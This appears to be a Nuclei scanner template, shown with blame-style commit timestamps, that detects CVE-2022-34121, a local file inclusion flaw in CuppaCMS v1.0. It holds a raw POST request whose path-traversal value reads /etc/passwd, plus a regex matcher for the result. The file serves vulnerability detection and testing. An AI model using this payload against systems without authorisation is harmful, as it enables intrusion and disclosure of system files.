2022-09-18 06:08:37 +00:00
|
|
|
id: CVE-2022-34121
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: CuppaCMS v1.0 - Local File Inclusion
|
|
|
|
author: edoardottt
|
|
|
|
severity: high
|
|
|
|
description: |
|
|
|
|
Cuppa CMS v1.0 was discovered to contain a local file inclusion (LFI) vulnerability via the component /templates/default/html/windows/right.php.
|
|
|
|
reference:
|
|
|
|
- https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-34121
|
|
|
|
classification:
|
|
|
|
cve-id: CVE-2022-34121
|
2022-09-18 13:34:43 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2022-09-18 06:08:37 +00:00
|
|
|
tags: cve,cve2022,lfi,cuppa,cms
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
2022-09-18 06:17:28 +00:00
|
|
|
- |
|
2022-09-18 13:36:10 +00:00
|
|
|
POST /templates/default/html/windows/right.php HTTP/1.1
|
2022-09-18 06:08:37 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
url=../../../../../../../../../../../../etc/passwd
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-09-18 13:34:43 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:[x*]:0:0"
|
2022-09-18 06:08:37 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
2022-09-18 13:34:43 +00:00
|
|
|
- 200
|